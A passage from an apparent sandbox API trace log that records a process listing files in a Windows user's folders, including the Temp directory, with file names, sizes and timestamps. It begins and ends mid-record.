ftCreationTime.dwLowDateTime=0x24613990, ftCreationTime.dwHighDateTime=0x1d8b404, ftLastAccessTime.dwLowDateTime=0xc7312890, ftLastAccessTime.dwHighDateTime=0x1d8bb13, ftLastWriteTime.dwLowDateTime=0xc7312890, ftLastWriteTime.dwHighDateTime=0x1d8bb13, nFileSizeHigh=0x0, nFileSizeLow=0xfddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="v6-Epkq.m4a", cAlternateFileName="")) returned 1 [0146.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd840a2c0, ftCreationTime.dwHighDateTime=0x1d8b887, ftLastAccessTime.dwLowDateTime=0x5eef9d70, ftLastAccessTime.dwHighDateTime=0x1d8bd98, ftLastWriteTime.dwLowDateTime=0x5eef9d70, ftLastWriteTime.dwHighDateTime=0x1d8bd98, nFileSizeHigh=0x0, nFileSizeLow=0x18e11, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdBzKo.wav", cAlternateFileName="")) returned 1 [0146.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x626b9c30, ftCreationTime.dwHighDateTime=0x1d8b210, ftLastAccessTime.dwLowDateTime=0xac9cb950, ftLastAccessTime.dwHighDateTime=0x1d8be46, ftLastWriteTime.dwLowDateTime=0xac9cb950, ftLastWriteTime.dwHighDateTime=0x1d8be46, nFileSizeHigh=0x0, nFileSizeLow=0x13fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw7AYQyivzJr2M.swf", cAlternateFileName="VW7AYQ~1.SWF")) returned 1 [0146.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79e62820, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0x79e62820, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0x79e62820, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1 [0146.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15ee8060, ftCreationTime.dwHighDateTime=0x1d8bb1c, ftLastAccessTime.dwLowDateTime=0x7a6256e0, ftLastAccessTime.dwHighDateTime=0x1d8bba6, ftLastWriteTime.dwLowDateTime=0x7a6256e0, ftLastWriteTime.dwHighDateTime=0x1d8bba6, nFileSizeHigh=0x0, nFileSizeLow=0x570d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt8n9H_8CulvrP_ -s7K.mp3", cAlternateFileName="WT8N9H~1.MP3")) returned 1 [0146.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d3ddf40, ftCreationTime.dwHighDateTime=0x1d8bda6, ftLastAccessTime.dwLowDateTime=0x1f316420, ftLastAccessTime.dwHighDateTime=0x1d8bfeb, ftLastWriteTime.dwLowDateTime=0x1f316420, ftLastWriteTime.dwHighDateTime=0x1d8bfeb, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="xJWcWB9t5A.mp3", cAlternateFileName="XJWCWB~1.MP3")) returned 1 [0146.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd77fb20, ftCreationTime.dwHighDateTime=0x1d8b73b, ftLastAccessTime.dwLowDateTime=0xc7be1270, ftLastAccessTime.dwHighDateTime=0x1d8b7f6, ftLastWriteTime.dwLowDateTime=0xc7be1270, ftLastWriteTime.dwHighDateTime=0x1d8b7f6, nFileSizeHigh=0x0, nFileSizeLow=0x11f35, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLap9.odp", cAlternateFileName="")) returned 1 [0146.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x137eb500, ftCreationTime.dwHighDateTime=0x1d8c113, ftLastAccessTime.dwLowDateTime=0xad727e0, ftLastAccessTime.dwHighDateTime=0x1d8c11b, ftLastWriteTime.dwLowDateTime=0xad727e0, ftLastWriteTime.dwHighDateTime=0x1d8c11b, nFileSizeHigh=0x0, nFileSizeLow=0x14e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="y51nWKvbiuGswa-v5p.xls", cAlternateFileName="Y51NWK~1.XLS")) returned 1 [0146.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0b60b10, ftCreationTime.dwHighDateTime=0x1d8baea, ftLastAccessTime.dwLowDateTime=0xf2938c80, ftLastAccessTime.dwHighDateTime=0x1d8be65, ftLastWriteTime.dwLowDateTime=0xf2938c80, ftLastWriteTime.dwHighDateTime=0x1d8be65, nFileSizeHigh=0x0, nFileSizeLow=0xbd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z-8o4laVNU2.ppt", cAlternateFileName="Z-8O4L~1.PPT")) returned 1 [0146.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52456f90, ftCreationTime.dwHighDateTime=0x1d8b989, ftLastAccessTime.dwLowDateTime=0xce36ae40, ftLastAccessTime.dwHighDateTime=0x1d8ba36, ftLastWriteTime.dwLowDateTime=0xce36ae40, ftLastWriteTime.dwHighDateTime=0x1d8ba36, nFileSizeHigh=0x0, nFileSizeLow=0x8bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_gxdxZcSTe6yPM.xlsx", cAlternateFileName="_GXDXZ~1.XLS")) returned 1 [0146.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d637410, ftCreationTime.dwHighDateTime=0x1d8b38b, ftLastAccessTime.dwLowDateTime=0xc68e27d0, ftLastAccessTime.dwHighDateTime=0x1d8b910, ftLastWriteTime.dwLowDateTime=0xc68e27d0, ftLastWriteTime.dwHighDateTime=0x1d8b910, nFileSizeHigh=0x0, nFileSizeLow=0x6f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Y0WCAA3QqJK.pdf", cAlternateFileName="_Y0WCA~1.PDF")) returned 1 [0146.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcd485150, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcd485150, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcd485150, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF12AAC66BC9F3BBD8.TMP", cAlternateFileName="~DF12A~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdbcf4b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbcf4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF1EFEE6A424CE9C2F.TMP", cAlternateFileName="~DF1EF~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xc8832ff0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc8832ff0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc8832ff0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF32B2333AAACF6A8F.TMP", cAlternateFileName="~DF32B~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xc607a0d0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc607a0d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc607a0d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF7F49113961E9F5C2.TMP", cAlternateFileName="~DF7F4~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd485150, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcd485150, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcd485150, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFD8C520266130933A.TMP", cAlternateFileName="~DFD8C~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcdbf5610, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbf5610, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFFE178FEAD6B19973.TMP", cAlternateFileName="~DFFE1~1.TMP")) returned 1 [0146.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcdbf5610, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbf5610, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFFE178FEAD6B19973.TMP", cAlternateFileName="~DFFE1~1.TMP")) returned 0 [0146.465] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.465] SetErrorMode (uMode=0x0) returned 0x1 [0146.465] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x25 [0146.465] SetErrorMode (uMode=0x1) returned 0x0 [0146.465] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x901e5e70, ftCreationTime.dwHighDateTime=0x1d8b412, ftLastAccessTime.dwLowDateTime=0x2a155210, ftLastAccessTime.dwHighDateTime=0x1d8bd85, ftLastWriteTime.dwLowDateTime=0x2a155210, ftLastWriteTime.dwHighDateTime=0x1d8bd85, nFileSizeHigh=0x0, nFileSizeLow=0x3f63, dwReserved0=0x0, dwReserved1=0x0, cFileName="-hGbGCGVU6cYFCo TM.ots", cAlternateFileName="-HGBGC~1.OTS")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72ba0b70, ftCreationTime.dwHighDateTime=0x1d8ba68, ftLastAccessTime.dwLowDateTime=0xc68bcb40, ftLastAccessTime.dwHighDateTime=0x1d8bf0d, ftLastWriteTime.dwLowDateTime=0xc68bcb40, ftLastWriteTime.dwHighDateTime=0x1d8bf0d, nFileSizeHigh=0x0, nFileSizeLow=0x13561, dwReserved0=0x0, dwReserved1=0x0, cFileName="2LF4arxnURr5.bmp", cAlternateFileName="2LF4AR~1.BMP")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x655a18f0, ftCreationTime.dwHighDateTime=0x1d8b697, ftLastAccessTime.dwLowDateTime=0x3b10e3c0, ftLastAccessTime.dwHighDateTime=0x1d8bb75, ftLastWriteTime.dwLowDateTime=0x3b10e3c0, ftLastWriteTime.dwHighDateTime=0x1d8bb75, nFileSizeHigh=0x0, nFileSizeLow=0x16d37, dwReserved0=0x0, dwReserved1=0x0, cFileName="4n7lNBARZ3VQX4.gif", cAlternateFileName="4N7LNB~1.GIF")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8a97a80, ftCreationTime.dwHighDateTime=0x1d8b613, ftLastAccessTime.dwLowDateTime=0x306f97d0, ftLastAccessTime.dwHighDateTime=0x1d8bfc2, ftLastWriteTime.dwLowDateTime=0x306f97d0, ftLastWriteTime.dwHighDateTime=0x1d8bfc2, nFileSizeHigh=0x0, nFileSizeLow=0xd84c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9mfCak.swf", cAlternateFileName="")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc94b4f80, ftCreationTime.dwHighDateTime=0x1d8b7b1, ftLastAccessTime.dwLowDateTime=0x72826680, ftLastAccessTime.dwHighDateTime=0x1d8b8f0, ftLastWriteTime.dwLowDateTime=0x72826680, ftLastWriteTime.dwHighDateTime=0x1d8b8f0, nFileSizeHigh=0x0, nFileSizeLow=0xaff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aCctbGon8IBAj.pps", cAlternateFileName="ACCTBG~1.PPS")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf6e28f70, ftCreationTime.dwHighDateTime=0x1d8baf0, ftLastAccessTime.dwLowDateTime=0x68516000, ftLastAccessTime.dwHighDateTime=0x1d8bf97, ftLastWriteTime.dwLowDateTime=0x68516000, ftLastWriteTime.dwHighDateTime=0x1d8bf97, nFileSizeHigh=0x0, nFileSizeLow=0x16226, dwReserved0=0x0, dwReserved1=0x0, cFileName="avR1UifnHmhlJS.jpg", cAlternateFileName="AVR1UI~1.JPG")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd35975f0, ftCreationTime.dwHighDateTime=0x1d8b492, ftLastAccessTime.dwLowDateTime=0x8e377b60, ftLastAccessTime.dwHighDateTime=0x1d8b696, ftLastWriteTime.dwLowDateTime=0x8e377b60, ftLastWriteTime.dwHighDateTime=0x1d8b696, nFileSizeHigh=0x0, nFileSizeLow=0x20d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8T3auYtVogPw5aYbN8s.gif", cAlternateFileName="B8T3AU~1.GIF")) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16b04ca0, ftCreationTime.dwHighDateTime=0x1d8b7a1, ftLastAccessTime.dwLowDateTime=0x2fd369b0, ftLastAccessTime.dwHighDateTime=0x1d8c084, ftLastWriteTime.dwLowDateTime=0x2fd369b0, ftLastWriteTime.dwHighDateTime=0x1d8c084, nFileSizeHigh=0x0, nFileSizeLow=0xdd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnJk.wav", cAlternateFileName="")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20adab00, ftCreationTime.dwHighDateTime=0x1d8b6c3, ftLastAccessTime.dwLowDateTime=0x150840a0, ftLastAccessTime.dwHighDateTime=0x1d8bb80, ftLastWriteTime.dwLowDateTime=0x150840a0, ftLastWriteTime.dwHighDateTime=0x1d8bb80, nFileSizeHigh=0x0, nFileSizeLow=0x911f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BpP08o7.mp4", cAlternateFileName="")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746e80e0, ftCreationTime.dwHighDateTime=0x1d8bb26, ftLastAccessTime.dwLowDateTime=0x9f36a570, ftLastAccessTime.dwHighDateTime=0x1d8bbab, ftLastWriteTime.dwLowDateTime=0x9f36a570, ftLastWriteTime.dwHighDateTime=0x1d8bbab, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BVT_6KRisl6.bmp", cAlternateFileName="BVT_6K~1.BMP")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe133d7f0, ftCreationTime.dwHighDateTime=0x1d8b0b5, ftLastAccessTime.dwLowDateTime=0x9d632940, ftLastAccessTime.dwHighDateTime=0x1d8b9cf, ftLastWriteTime.dwLowDateTime=0x9d632940, ftLastWriteTime.dwHighDateTime=0x1d8b9cf, nFileSizeHigh=0x0, nFileSizeLow=0x14dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_98-V0.png", cAlternateFileName="")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf8f1f80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xdf8f1f80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xdf8f1f80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMI7F1D.tmp", cAlternateFileName="")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb80374d0, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0x169dbaf0, ftLastAccessTime.dwHighDateTime=0x1d8b7e1, ftLastWriteTime.dwLowDateTime=0x169dbaf0, ftLastWriteTime.dwHighDateTime=0x1d8b7e1, nFileSizeHigh=0x0, nFileSizeLow=0x18621, dwReserved0=0x0, dwReserved1=0x0, cFileName="dsXGshyj.xlsx", cAlternateFileName="DSXGSH~1.XLS")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf44c6050, ftCreationTime.dwHighDateTime=0x1d8c037, ftLastAccessTime.dwLowDateTime=0xf0eb1730, ftLastAccessTime.dwHighDateTime=0x1d8c0d7, ftLastWriteTime.dwLowDateTime=0xf0eb1730, ftLastWriteTime.dwHighDateTime=0x1d8c0d7, nFileSizeHigh=0x0, nFileSizeLow=0x16464, dwReserved0=0x0, dwReserved1=0x0, cFileName="dvnjFpGyCrr4q.odp", cAlternateFileName="DVNJFP~1.ODP")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa0b893d0, ftCreationTime.dwHighDateTime=0x1d8b9e5, ftLastAccessTime.dwLowDateTime=0xb1a0d780, ftLastAccessTime.dwHighDateTime=0x1d8bcaa, ftLastWriteTime.dwLowDateTime=0xb1a0d780, ftLastWriteTime.dwHighDateTime=0x1d8bcaa, nFileSizeHigh=0x0, nFileSizeLow=0x90d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="dvwxkOLIiLo8iOIR.pdf", cAlternateFileName="DVWXKO~1.PDF")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x852aa500, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x852aa500, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd88e5980, ftCreationTime.dwHighDateTime=0x1d8bb38, ftLastAccessTime.dwLowDateTime=0x3e6acd00, ftLastAccessTime.dwHighDateTime=0x1d8bebe, ftLastWriteTime.dwLowDateTime=0x3e6acd00, ftLastWriteTime.dwHighDateTime=0x1d8bebe, nFileSizeHigh=0x0, nFileSizeLow=0x153f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="g5sbAjUHv.ots", cAlternateFileName="G5SBAJ~1.OTS")) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc4b33c30, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc4bcc1b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc4bcc1b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gen_py", cAlternateFileName="")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf49750c0, ftCreationTime.dwHighDateTime=0x1d8c09f, ftLastAccessTime.dwLowDateTime=0x5c08fec0, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x5c08fec0, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0xcb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLzQSJpR8jSI_k58bj.gif", cAlternateFileName="GLZQSJ~1.GIF")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x46097060, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4aa61a60, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d79bc60, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hsperfdata_kEecfMwgj", cAlternateFileName="HSPERF~1")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc06090b0, ftCreationTime.dwHighDateTime=0x1d8ba9f, ftLastAccessTime.dwLowDateTime=0x29888f50, ftLastAccessTime.dwHighDateTime=0x1d8bfde, ftLastWriteTime.dwLowDateTime=0x29888f50, ftLastWriteTime.dwHighDateTime=0x1d8bfde, nFileSizeHigh=0x0, nFileSizeLow=0x1679, dwReserved0=0x0, dwReserved1=0x0, cFileName="J8a_ vvAmxmiVa8E.pps", cAlternateFileName="J8A_VV~1.PPS")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dae960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46dae960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d7e7f20, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x301a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaDeployReg.log", cAlternateFileName="JAVADE~1.LOG")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48829e20, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48829e20, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48829e20, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawshtml.html", cAlternateFileName="JAWSHT~1.HTM")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39e96f60, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x39e96f60, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ed2e3c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x109f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.log", cAlternateFileName="")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7868bc30, 